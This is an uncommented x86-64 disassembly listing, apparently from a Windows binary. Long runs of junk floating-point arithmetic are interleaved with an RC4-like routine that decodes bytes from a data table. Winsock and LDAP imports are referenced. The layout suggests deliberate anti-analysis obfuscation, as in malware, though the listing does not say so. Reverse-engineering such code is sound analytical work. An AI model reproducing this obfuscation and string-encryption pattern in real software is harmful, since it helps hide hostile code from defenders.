movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x520]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm0
movsd xmm0, qword [rbp + 0x520]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x568]
divsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
jmp 0x14012c93c
movzx r9d, byte [rbp + 0x411]
movzx ecx, byte [rbp + 0x413]
movzx eax, r9b
mov qword [rbp + 0x3e8], rax
movzx eax, byte [rbp + 0x415]
movzx edi, byte [rbp + 0x417]
movzx edx, sil
movzx esi, byte [rbp + rdx + 0x410]
movzx r10d, byte [fcn.140497518]
movzx edx, byte [reloc.WLDAP32.dll_Ordinal_147]
add dl, 0x78
shl r10b, 4
add r10b, 0xe0
movabs r11, 0x40d95d4000000000
mov qword [rbp + 0x520], r11
movabs r11, 0x40d5234000000000
mov qword [rbp + 0x558], r11
movabs r11, 0x40d0e94000000000
mov qword [rbp + 0x570], r11
movabs r11, 0x40c95e8000000000
mov qword [rbp + 0x568], r11
movabs r11, 0x40c0ea8000000000
mov qword [rbp + 0x560], r11
movabs r11, 0x40b0ed0000000000
mov qword [rbp + 0x548], r11
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm0
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
ucomisd xmm1, xmm0
jbe 0x14012d02d
movsd xmm0, qword [rbp + 0x560]
addsd xmm0, qword [rbp + 0x568]
movsd qword [rbp + 0x568], xmm0
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x570]
movsd qword [rbp + 0x570], xmm0
movsd xmm0, qword [rbp + 0x558]
addsd xmm0, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm0
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
jmp 0x14012d0d1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x520]
movsd xmm1, qword [rbp + 0x548]
divsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x520]
divsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x520]
mulsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movzx ebx, byte [rbp + rsi + 0x410]
lea r11d, [r9 + 1]
mov r8, qword [rbp + 0x3e8]
add cl, byte [rbp + r8 + 0x410]
movzx r14d, cl
movzx r15d, byte [rbp + r14 + 0x410]
mov byte [rbp + rsi + 0x410], r15b
movzx r15d, byte [rbp + rdi + 0x410]
mov byte [rbp + r14 + 0x410], r15b
movzx r11d, r11b
movzx r15d, byte [rbp + r11 + 0x410]
mov byte [rbp + rdi + 0x410], r15b
mov byte [rbp + r11 + 0x410], bl
add al, byte [rbp + rbx + 0x410]
movzx r14d, byte [rbp + r14 + 0x410]
add r14b, bl
movzx ebx, r14b
movzx esi, byte [rbp + rsi + 0x410]
add sil, byte [rbp + rdi + 0x410]
movzx edi, al
add sil, byte [rbp + rdi + 0x410]
movzx esi, sil
movzx ebx, byte [rbp + rbx + 0x410]
movzx esi, byte [rbp + rsi + 0x410]
xor bl, byte [rbp + rsi + 0x410]
or r10b, dl
xor bl, r10b
movabs rdx, 0x40dbab0000000000
mov qword [rbp + 0x520], rdx
movabs rdx, 0x40d7b74000000000
mov qword [rbp + 0x558], rdx
movabs rdx, 0x40d3c38000000000
mov qword [rbp + 0x570], rdx
movabs rdx, 0x40cf9f8000000000
mov qword [rbp + 0x568], rdx
movabs rdx, 0x40c7b80000000000
mov qword [rbp + 0x560], rdx
movabs rdx, 0x40bfa10000000000
mov qword [rbp + 0x548], rdx
movabs rdx, 0x40afa40000000000
mov qword [rbp + 0x538], rdx
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x538]
addsd xmm0, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm0
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x538]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x538]
ucomisd xmm1, xmm0
jbe 0x14012d39a
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
divsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
divsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x520]
subsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
divsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x520]
subsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x520]
divsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
xor esi, esi
jmp 0x14012d45f
movsd xmm0, qword [rbp + 0x520]
movsd xmm1, qword [rbp + 0x538]
subsd xmm1, xmm0
movsd qword [rbp + 0x538], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x548]
subsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x570]
movsd qword [rbp + 0x570], xmm0
movsd xmm0, qword [rbp + 0x538]
movsd xmm1, qword [rbp + 0x548]
subsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
mov esi, 2
lea r13, [fcn.140497518]
movzx esi, byte [rsi + r13]
movzx r10d, r10b
movzx edi, byte [rbp + r10 + 0x410]
add r9b, 2
add cl, byte [rbp + r11 + 0x410]
movzx r11d, cl
movzx r14d, byte [rbp + r11 + 0x410]
mov byte [rbp + r10 + 0x410], r14b
movzx r14d, bl
movzx ebx, byte [rbp + r14 + 0x410]
mov byte [rbp + r11 + 0x410], bl
movzx r9d, r9b
movzx ebx, byte [rbp + r9 + 0x410]
mov byte [rbp + r14 + 0x410], bl
movzx ebx, byte [0x14049751b]
add bl, 0x78
shl sil, 4
add sil, 0xe0
mov byte [rbp + r9 + 0x410], dil
add al, byte [rbp + rdi + 0x410]
or sil, bl
movzx r9d, byte [rbp + r11 + 0x410]
add r9b, dil
movzx r9d, r9b
movzx ebx, byte [rbp + r9 + 0x410]
movzx r9d, byte [rbp + r10 + 0x410]
add r9b, byte [rbp + r14 + 0x410]
movzx r10d, al
add r9b, byte [rbp + r10 + 0x410]
movzx r9d, r9b
movzx r9d, byte [rbp + r9 + 0x410]
xor bl, byte [rbp + r9 + 0x410]
xor bl, sil
mov byte [rbp + 0x520], bl
mov r11d, 3
mov r10d, 5
xor edi, edi
jmp 0x14012d6b5
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
subss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
mov r8d, r10d
mov rdx, qword [rbp + 0x3e8]
lea r15, [rdx + rdi]
add r15, 2
mov r11d, r8d
movsxd r14, r8d
movzx r14d, byte [r14 + r13]
add r14b, 0x78
movzx r12d, sil
movzx r13d, byte [rbp + r12 + 0x410]
movzx esi, r15b
add cl, byte [rbp + rsi + 0x410]
lea esi, [rdx + rdi]
add esi, 3
movzx edx, cl
movzx r15d, byte [rbp + rdx + 0x410]
mov byte [rbp + r12 + 0x410], r15b
movzx r8d, bl
movzx ebx, byte [rbp + r8 + 0x410]
mov byte [rbp + rdx + 0x410], bl
movzx r15d, sil
movzx ebx, byte [rbp + r15 + 0x410]
mov byte [rbp + r8 + 0x410], bl
mov esi, r9d
shl sil, 4
add sil, 0xe0
mov byte [rbp + r15 + 0x410], r13b
add al, byte [rbp + r13 + 0x410]
or sil, r14b
movzx edx, byte [rbp + rdx + 0x410]
add dl, r13b
lea r13, [fcn.140497518]
movzx edx, dl
movzx ebx, byte [rbp + rdx + 0x410]
movzx edx, byte [rbp + r12 + 0x410]
add dl, byte [rbp + r8 + 0x410]
movzx r8d, al
add dl, byte [rbp + r8 + 0x410]
movzx edx, dl
movzx edx, byte [rbp + rdx + 0x410]
xor bl, byte [rbp + rdx + 0x410]
xor bl, sil
mov byte [rbp + rdi + 0x521], bl
inc rdi
add r10d, 2
cmp rdi, 5
je 0x14012d93c
movzx r9d, byte [r13 + rdi*2 + 4]
mov dword [rbp + 0x558], 0x46895a00
mov dword [rbp + 0x570], 0x464e0800
mov dword [rbp + 0x568], 0x46095c00
mov dword [rbp + 0x560], 0x45896000
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
ucomiss xmm1, xmm0
movss xmm0, dword [rbp + 0x568]
ja 0x14012d550
addss xmm0, dword [rbp + 0x558]
movss dword [rbp + 0x558], xmm0
movss xmm0, dword [rbp + 0x558]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x560]
divss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
subss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x570]
ucomiss xmm0, xmm1
jbe 0x14012d8d0
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
movss xmm1, dword [rbp + 0x568]
divss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x560]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
subss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
jmp 0x14012d934
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x558]
addss xmm0, dword [rbp + 0x560]
movss dword [rbp + 0x560], xmm0
movss xmm0, dword [rbp + 0x558]
addss xmm0, dword [rbp + 0x560]
movss dword [rbp + 0x560], xmm0
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x558]
movss dword [rbp + 0x558], xmm0
mov r8d, r11d
jmp 0x14012d5b7
mov dword [rbp + 0x558], 0x46cf3000
mov dword [rbp + 0x570], 0x46a5c000
mov dword [rbp + 0x568], 0x4678a000
mov dword [rbp + 0x560], 0x4625c000
mov dword [rbp + 0x548], 0x45a5c000
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x548]
addss xmm0, dword [rbp + 0x558]
movss dword [rbp + 0x558], xmm0
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x548]
ucomiss xmm1, xmm0
jbe 0x14012daa0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
divss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x548]
divss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x548]
mulss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x548]
divss xmm1, xmm0
movss dword [rbp + 0x548], xmm1
jmp 0x14012db2c
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
subss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movzx r9d, byte [0x140497526]
movss xmm0, dword [rbp + 0x558]
addss xmm0, dword [rbp + 0x548]
movss dword [rbp + 0x548], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x548]
movss xmm1, dword [rbp + 0x560]
mulss xmm1, xmm0
movss dword [rbp + 0x560], xmm1
movzx r10d, r9b
movzx edx, byte [reloc.WS2_32.dll___WSAFDIsSet]
add edx, 0xffffff78
shl r10d, 4
add r10d, 0xfffff4e0
mov dword [rbp + 0x3dc], edx
or r10d, edx
mov dword [rbp + 0x558], 0x46e67c00
mov dword [rbp + 0x570], 0x4699a800
mov dword [rbp + 0x568], 0x4619a800
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x558]
subss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x570]
ucomiss xmm1, xmm0
jbe 0x14012dc31
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x568]
divss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x568]
divss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
mov r14d, esi
jmp 0x14012dc84
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
subss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
mov r14d, r10d
mov r8, qword [rbp + 0x3e8]
lea r11, [r8 + rdi]
add r11, 4
movzx esi, sil
movzx edx, byte [rbp + rsi + 0x410]
add r8d, edi
add r8d, 3
add cl, byte [rbp + r15 + 0x410]
movzx edi, cl
movzx r15d, byte [rbp + rdi + 0x410]
mov byte [rbp + rsi + 0x410], r15b
movzx ebx, bl
movzx r15d, byte [rbp + rbx + 0x410]
mov byte [rbp + rdi + 0x410], r15b
movzx r8d, r8b
movzx r15d, byte [rbp + r8 + 0x410]
mov byte [rbp + rbx + 0x410], r15b
mov byte [rbp + r8 + 0x410], dl
add al, byte [rbp + rdx + 0x410]
movzx r8d, byte [rbp + rdi + 0x410]
add r8b, dl
movzx edx, r8b
movzx r8d, byte [rbp + rdx + 0x410]
movzx edx, byte [rbp + rsi + 0x410]
add dl, byte [rbp + rbx + 0x410]
movzx esi, al
add dl, byte [rbp + rsi + 0x410]
movzx edx, dl
movzx edx, byte [rbp + rdx + 0x410]
xor r8b, byte [rbp + rdx + 0x410]
xor r8b, r14b
mov byte [rbp + 0x526], r8b
movabs rdx, 0x40decf8000000000
mov qword [rbp + 0x558], rdx
movabs rdx, 0x40d71bc000000000
mov qword [rbp + 0x570], rdx
movabs rdx, 0x40ced00000000000
mov qword [rbp + 0x568], rdx
movabs rdx, 0x40bed10000000000
mov qword [rbp + 0x560], rdx
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x558]
ucomisd xmm1, xmm0
jbe 0x14012de8d
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
mov esi, reloc.WS2_32.dll_listen
jmp 0x14012e05e
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x558]
movsd qword [rbp + 0x558], xmm0
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
divsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
ucomisd xmm0, xmm1
jbe 0x14012dfed
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
divsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
jmp 0x14012e059
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x558]
movsd qword [rbp + 0x558], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
divsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
mov esi, 8
mov edx, esi
mov qword [rbp + 0x3e8], rdx
lea rdi, [rdx - 7]
xor ebx, ebx
movabs rsi, 0x40be7f0000000000
jmp 0x14012e19d
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x568]
movss dword [rbp + 0x568], xmm0
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movzx r14d, r14b
movzx r15d, byte [rbp + r14 + 0x410]
movzx edx, r12b
add cl, byte [rbp + rdx + 0x410]
movzx edx, cl
movzx r12d, byte [rbp + rdx + 0x410]
mov byte [rbp + r14 + 0x410], r12b
movzx r12d, r8b
movzx r8d, byte [rbp + r12 + 0x410]
mov byte [rbp + rdx + 0x410], r8b
movzx r8d, r11b
movzx r13d, byte [rbp + r8 + 0x410]
mov byte [rbp + r12 + 0x410], r13b
mov byte [rbp + r8 + 0x410], r15b
add al, byte [rbp + r15 + 0x410]
movzx edx, byte [rbp + rdx + 0x410]
add dl, r15b
movzx edx, dl
movzx r8d, byte [rbp + rdx + 0x410]
movzx edx, byte [rbp + r14 + 0x410]
add dl, byte [rbp + r12 + 0x410]
movzx r14d, al
add dl, byte [rbp + r14 + 0x410]
movzx edx, dl
movzx edx, byte [rbp + rdx + 0x410]
xor r8b, byte [rbp + rdx + 0x410]
xor r8b, r10b
mov byte [rbp + rbx + 0x527], r8b
inc rbx
inc r11b
mov r14d, r10d
cmp rdi, rbx
lea r13, [fcn.140497518]
je 0x14012e44b
movzx r15d, byte [r13 + rbx*2 + 0x10]
movzx r12d, byte [r13 + rbx*2 + 0x11]
movabs rdx, 0x40de7e4000000000
mov qword [rbp + 0x558], rdx
movabs rdx, 0x40d6dec000000000
mov qword [rbp + 0x570], rdx
movabs rdx, 0x40ce7e8000000000
mov qword [rbp + 0x568], rdx
mov qword [rbp + 0x560], rsi
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x560]
ucomisd xmm1, xmm0
jbe 0x14012e2e0
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x560]
divsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
divsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
divsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
divsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
jmp 0x14012e35a
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x570]
movsd qword [rbp + 0x570], xmm0
add r12d, 0xffffff78
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x560]
subsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
mov dword [rbp + 0x3dc], r12d
lea r12d, [r11 - 1]
mov dword [rbp + 0x558], 0x46f2e600
mov dword [rbp + 0x570], 0x46a1f000
mov dword [rbp + 0x568], 0x4621f400
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x558]
movss dword [rbp + 0x558], xmm0
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x570]
ucomiss xmm1, xmm0
jbe 0x14012e080
shl r15d, 4
add r15d, 0xfffff4e0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x568]
mulss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
or r15d, dword [rbp + 0x3dc]
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x558]
